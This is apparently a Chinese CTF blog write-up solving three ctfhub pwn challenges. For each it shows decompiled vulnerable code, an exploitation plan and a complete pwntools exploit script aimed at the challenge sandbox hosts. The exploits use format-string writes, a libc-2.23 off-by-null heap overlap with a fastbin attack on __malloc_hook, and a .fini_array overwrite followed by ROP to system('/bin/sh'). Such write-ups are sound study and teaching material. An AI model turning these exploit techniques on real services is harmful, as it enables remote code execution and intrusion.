• [ctfhub.pwn] 第12-14题


    目录

    Fifth Space-2019-Final-Pwn-pwn5

    GWCTF-2019-Pwn-chunk

    2018-HackCon-Pwn-elegent


    Fifth Space-2019-Final-Pwn-pwn5

    格式化字符串入门级题目,只需要让地址dword_804C044等于输入值即可。明显把dword_804C044值直接清0比泄露再输入要方便。

    1. int __cdecl main(int a1)
    2. {
    3. unsigned int v1; // eax
    4. int result; // eax
    5. int fd; // [esp+0h] [ebp-84h]
    6. char nptr[16]; // [esp+4h] [ebp-80h] BYREF
    7. char buf[100]; // [esp+14h] [ebp-70h] BYREF
    8. unsigned int v6; // [esp+78h] [ebp-Ch]
    9. int *v7; // [esp+7Ch] [ebp-8h]
    10. v7 = &a1;
    11. v6 = __readgsdword(0x14u);
    12. setvbuf(stdout, 0, 2, 0);
    13. v1 = time(0);
    14. srand(v1);
    15. fd = open("/dev/urandom", 0);
    16. read(fd, &dword_804C044, 4u);
    17. printf("your name:");
    18. read(0, buf, 0x63u);
    19. printf("Hello,");
    20. printf(buf);
    21. printf("your passwd:");
    22. read(0, nptr, 0xFu);
    23. if ( atoi(nptr) == dword_804C044 )
    24. {
    25. puts("ok!!");
    26. system("/bin/sh");
    27. }
    28. else
    29. {
    30. puts("fail");
    31. }
    32. result = 0;
    33. if ( __readgsdword(0x14u) != v6 )
    34. sub_80493D0();
    35. return result;
    36. }

    所以用直接清零然后再回个车就O了

    1. from pwn import *
    2. #p = process('./pwn')
    3. p = remote('challenge-850b764cbe1432ca.sandbox.ctfhub.com', 30435)
    4. context.log_level = 'debug'
    5. pay = b"%12$n000"+p32(0x804c044)
    6. p.sendlineafter(b"your name:", pay)
    7. p.interactive()

    GWCTF-2019-Pwn-chunk

    这是个堆题,后台是libc-2.23,这个题用的fastbin需要错位。有show这就比较好办了,直接申请个大块释放再申请回来,show就能得到libc,在edit里用了read_0这里边会在后边加一个\0

    1. __int64 __fastcall read_0(__int64 a1, int a2)
    2. {
    3. unsigned int i; // [rsp+18h] [rbp-28h]
    4. char buf[24]; // [rsp+20h] [rbp-20h] BYREF
    5. unsigned __int64 v5; // [rsp+38h] [rbp-8h]
    6. v5 = __readfsqword(0x28u);
    7. for ( i = 0; (int)i < a2; ++i )
    8. {
    9. read(0, buf, 1uLL);
    10. if ( buf[0] == 10 )
    11. break;
    12. *(_BYTE *)(a1 + (int)i) = buf[0];
    13. }
    14. *(_BYTE *)((int)i + a1) = 0; //当输入完后会在最后加\0造成off_by_null
    15. return i;
    16. }

    思路:

    1. 释放80以上的块再申请回来,show得到libc
    2. 先释放0块到unsort,再编辑1块用off_by_null将2块的头101修改为100,pre_size改为0和1块的和。释放2块会向前将0,1合并到unsort
    3. 再申请加0,4,2这里的4与原来的1重叠。
    4. 释放1,3,4形成double_free写入malloc_hook-0x23利用前部的0x7f错位建块到malloc_hook附近
    5. 在malloc_hook写入realloc,在realloc_hook写入one_gadget
    1. from pwn import *
    2. '''
    3. patchelf --set-interpreter /home/shi/buuctf/buuoj_2.23_amd64/ld_2.23-0ubuntu10_amd64.so pwn
    4. patchelf --add-needed /home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so pwn
    5. '''
    6. #p = process('./pwn')
    7. p = remote('challenge-985dda31a6dcba87.sandbox.ctfhub.com', 34596)
    8. libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
    9. one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    10. libc_start_main_ret = 0x20830
    11. elf = ELF('./pwn')
    12. context.arch = 'amd64'
    13. context.log_level = 'debug'
    14. menu = b"Your choice: "
    15. def add(idx, size):
    16. p.sendlineafter(menu, b'1')
    17. p.sendlineafter(b"Give me a book ID: ", str(idx).encode())
    18. p.sendlineafter(b"how long: ", str(size).encode())
    19. def show(idx):
    20. p.sendlineafter(menu, b'2')
    21. p.sendlineafter(b"Which book do you want to show?", str(idx).encode())
    22. def free(idx):
    23. p.sendlineafter(menu, b'3')
    24. p.sendlineafter(b"Which one to throw?", str(idx).encode())
    25. def edit(idx, msg):
    26. p.sendlineafter(menu, b'4')
    27. p.sendlineafter(b"Which book to write?", str(idx).encode())
    28. p.sendafter(b"Content: ", msg) #off_by_zero
    29. add(0, 0xf8)
    30. add(1, 0x68)
    31. add(2, 0xf8)
    32. add(3, 0x68)
    33. #释放大块再申请得到libc
    34. free(2)
    35. add(2, 0xf8)
    36. show(2)
    37. p.recvuntil(b'Content: ')
    38. libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x68 - libc_elf.sym['__malloc_hook']
    39. libc_elf.address = libc_base
    40. print('libc:', hex(libc_base))
    41. #off_by_null 形成向上合并
    42. free(0) #1, free 0 to unsort
    43. edit(1, b'A'*0x60+p64(0x170)) #edit #2.pre_size=0x170(#0+#1) #2.head:0x101->0x100
    44. free(2)
    45. add(0, 0xf8)
    46. add(4, 0x68) #4==#1 得到重叠块
    47. add(2, 0xf8)
    48. free(1)
    49. free(3)
    50. free(4) #double free, fastbin Attack
    51. add(1, 0x68)
    52. edit(1, p64(libc_elf.sym['__malloc_hook'] -0x23)+ b'\n')
    53. add(3, 0x68)
    54. add(4, 0x68)
    55. add(5, 0x68)
    56. one_gadget = libc_base + one[3]
    57. realloc = libc_elf.sym['realloc']
    58. edit(5, b'\x00'*(3+8) + p64(one_gadget) + p64(realloc)+ b'\n')
    59. add(6,8)
    60. p.interactive()

    2018-HackCon-Pwn-elegent

    又一个printf,这里用scanf读入数据有溢出,scanf读入时输入的0不会被删除,并不影响输入带0的地址。

    1. int __cdecl main(int argc, const char **argv, const char **envp)
    2. {
    3. char format[64]; // [rsp+10h] [rbp-40h] BYREF
    4. printf("Hola %s bois\n", "sup");
    5. puts("Give me some inputz: ");
    6. fflush(_bss_start);
    7. __isoc99_scanf("%128s", format); //有溢出
    8. printf(format); //格式化字符串漏洞
    9. putchar(10);
    10. fflush(_bss_start);
    11. return 0;
    12. }

    思路:

    1. 修改.fini_array,将原值0x400600改为0x400637:main实现循环,同时用%17$p输入__libc_start_main_ret的值
    2. 第二次并不需要用到printf漏洞,直接通过溢出写rop即可
    1. from pwn import *
    2. '''
    3. patchelf --set-interpreter /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/ld-2.27.so pwn
    4. patchelf --add-needed /home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so pwn
    5. '''
    6. #p = process("./pwn")
    7. p = remote('challenge-0eb538c976b7cb23.sandbox.ctfhub.com', 33646)
    8. context.log_level = "debug"
    9. context.arch = "amd64"
    10. elf = ELF('./pwn')
    11. libc_elf = ELF('/home/shi/libc-2.27-3ubuntu1.2/lib/x86_64-linux-gnu/libc-2.27.so')
    12. one = [0x4f365, 0x4f3c2, 0x10a45c]
    13. libc_start_main_ret = 0x21b97
    14. #gdb.attach(p, "b*0x4006b6")
    15. #pause()
    16. fini_array = 0x6008c8
    17. pay = b'%55c%10$hhn%17$p'.ljust(16,b'a')+ p64(fini_array) #400600->400637 main scanf(%s) 不影响输入0
    18. p.sendlineafter(b"Give me some inputz: \n", pay)
    19. p.recvuntil(b'0x')
    20. libc_base = int(p.recv(12), 16) - libc_start_main_ret
    21. libc_elf.address = libc_base
    22. print('libc:', hex(libc_base))
    23. pop_rdi = 0x0000000000400733 # pop rdi ; ret
    24. #bin_sh = next(libc_elf.search(b'/bin/sh\x00'))
    25. #system = libc_elf.sym['system']
    26. bin_sh = libc_base + 0x1b3e9a #0x1b40fa #remote 3ubuntu1 local 3ubuntu1.2
    27. system = libc_base + 0x4f440 #0x4f4e0
    28. p.sendlineafter(b"Give me some inputz: \n", b'A'*64+ flat(0,pop_rdi+1, pop_rdi,bin_sh,system))
    29. p.interactive()

    这里有个坑,一般常见的docker用的版本libc-2.27,用libc_start_main_ret得到的libc在3ubuntu0,3ubuntu1,3ubuntu1.2这几个是相同的,但bin_sh和system的偏移却不同。这里的用的是3ubuntu1 

  • 相关阅读:
    C++——特殊类设计
    Umi请求Mock中的数据
    【Azure 环境】Azure 云环境对于OpenSSL 3.x 的严重漏洞(CVE-2022-3602 和 CVE-2022-3786)的处理公告
    2022美亚杯团队赛
    分布式定时任务调度框架
    (附源码)springboot猪场管理系统 毕业设计 160901
    如何实现存量业务的基础设施导入Kubevela+Terraform
    【Linux】Linux服务器防火墙架构简介
    【JavaEE进阶系列 | 从小白到工程师】基本类型包装类的使用,装箱以及拆箱与parseInt方法
    c++ set、map的四种自定义排序方法
  • 原文地址:https://blog.csdn.net/weixin_52640415/article/details/126727668